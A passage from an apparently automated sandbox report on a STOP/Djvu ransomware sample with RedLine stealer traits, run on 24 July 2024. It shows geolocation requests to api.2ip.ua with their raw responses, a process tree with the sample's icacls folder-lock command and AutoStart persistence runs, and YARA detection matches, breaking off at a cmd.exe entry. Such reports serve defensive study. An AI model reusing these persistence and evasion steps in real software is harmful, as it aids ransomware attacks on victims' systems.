2024-07-25 00:11:48 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 66 30 37 30 61 30 33 31 66 32 66 35 64 30 36 31 66 34 31 31 61 30 65 35 30 31 63 31 61 30 64 30 35 30 61 30 63 31 62 35 32 35 64 30 36 31 66 34 31 31 61 30 65 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#6f070a031f2f5d061f411a0e501c1a0d050a0c1b525d061f411a0e"><s
2024-07-25 00:11:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49714	188.114.96.3	443	7996	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:11:50 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:11:51 UTC	914	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:11:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=if3hxp3Ls%2B4Sg6f0yP3yLYqvDfNKFpDOuuu4OiUFELDG09J%2FRtMda%2FQLkRqMjIeeT09TCN8dAbKRfSKsvNBLUOlu0FR3yeNGY50oxboE0cx1Pnnx55B51ayfR%2BOD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87ef5b99621a30-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:11:51 UTC	455	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 39 38 31 38 63 38 35 39 39 61 39 64 62 38 30 39 39 63 37 38 34 38 63 64 36 39 61 39 63 38 62 38 33 38 63 38 61 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#e9818c8599a9db8099c7848cd69a9c8b838c8a
2024-07-25 00:11:51 UTC	475	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 37 66 66 66 32 66 62 65 37 64 37 61 35 66 65 65 37 62 39 65 32 66 36 61 38 65 34 65 32 66 35 66 64 66 32 66 34 65 33 61 61 61 35 66 65 65 37 62 39 65 32 66 36 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#97fff2fbe7d7a5fee7b9e2f6a8e4e2f5fdf2f4e3aaa5fee7b9e2f6
2024-07-25 00:11:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49722	188.114.96.3	443	4912	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:11:58 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:11:58 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:11:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7XRWo3SRI0RheW6H4ZN5Ch9w8jMUaHUghDw0iyFi1pNs4rb21vOATVjWOCbSQCjDsp%2BBpkniYg01YpTvt8s1ev7RdbG2otjPsIBOw4l7E55x%2BN3yhQ%2Bbj7aNMRC2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87ef8bcd697ce7-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:11:58 UTC	457	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 66 30 37 30 61 30 33 31 66 32 66 35 64 30 36 31 66 34 31 30 32 30 61 35 30 31 63 31 61 30 64 30 35 30 61 30 63 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#6f070a031f2f5d061f41020a501c1a0d050a0c
2024-07-25 00:11:58 UTC	473	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 62 66 64 37 64 61 64 33 63 66 66 66 38 64 64 36 63 66 39 31 63 61 64 65 38 30 63 63 63 61 64 64 64 35 64 61 64 63 63 62 38 32 38 64 64 36 63 66 39 31 63 61 64 65 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#bfd7dad3cfff8dd6cf91cade80cccaddd5dadccb828dd6cf91cade">
2024-07-25 00:11:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49724	188.114.96.3	443	1152	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:12:06 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:12:07 UTC	916	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:12:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2v8oEfyYuvonuuHjn%2B1lc5h16oGR%2BMN35Ik%2FAaMlj4yxKQmcR0Gx4W7DwXEiIPI8moX2HB5UajDR1GjOx9WblMPqqiQHypR3gKG%2FlH%2BKygwzONzKIU0KAB9HnrqM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87efbe6b50c34f-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:12:07 UTC	453	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 65 62 36 62 62 62 32 61 65 39 65 65 63 62 37 61 65 66 30 62 33 62 62 65 31 61 64 61 62 62 63 62 34 62 62 62 64 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#deb6bbb2ae9eecb7aef0b3bbe1adabbcb4bbbd
2024-07-25 00:12:07 UTC	477	IN	Data Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 62 38 64 30 64 64 64 34 63 38 66 38 38 61 64 31 63 38 39 36 63 64 64 39 38 37 63 62 63 64 64 61 64 32 64 64 64 62 63 63 38 35 38 61 64 31 63 38 39 36 63 64 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#b8d0ddd4c8f88ad1c896cdd987cbcddad2dddbcc858ad1c896cd
2024-07-25 00:12:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:11:34
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe"
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1442694289.0000000002204000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:11:34
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
Imagebase:	0x2e0000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:11:39
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe"
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:11:40
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x840000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:11:40
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.1512672920.00000000022FD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:11:41
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe --Task
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1543623242.000000000216F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 95%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:11:44
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7344 -s 1604
Imagebase:	0x460000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:11:45
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	20:11:49
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe --Task
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	20:11:53
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.1618956623.00000000021EF000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:11:56
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:12:01
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000011.00000002.1699513573.0000000002168000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:12:01
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
Imagebase:	0x180000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:12:04
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Imagebase:	0x400000
File size:	793'088 bytes
MD5 hash:	801A00A6C89DCB9B7839A53ECCFC8FC1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:12:18
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
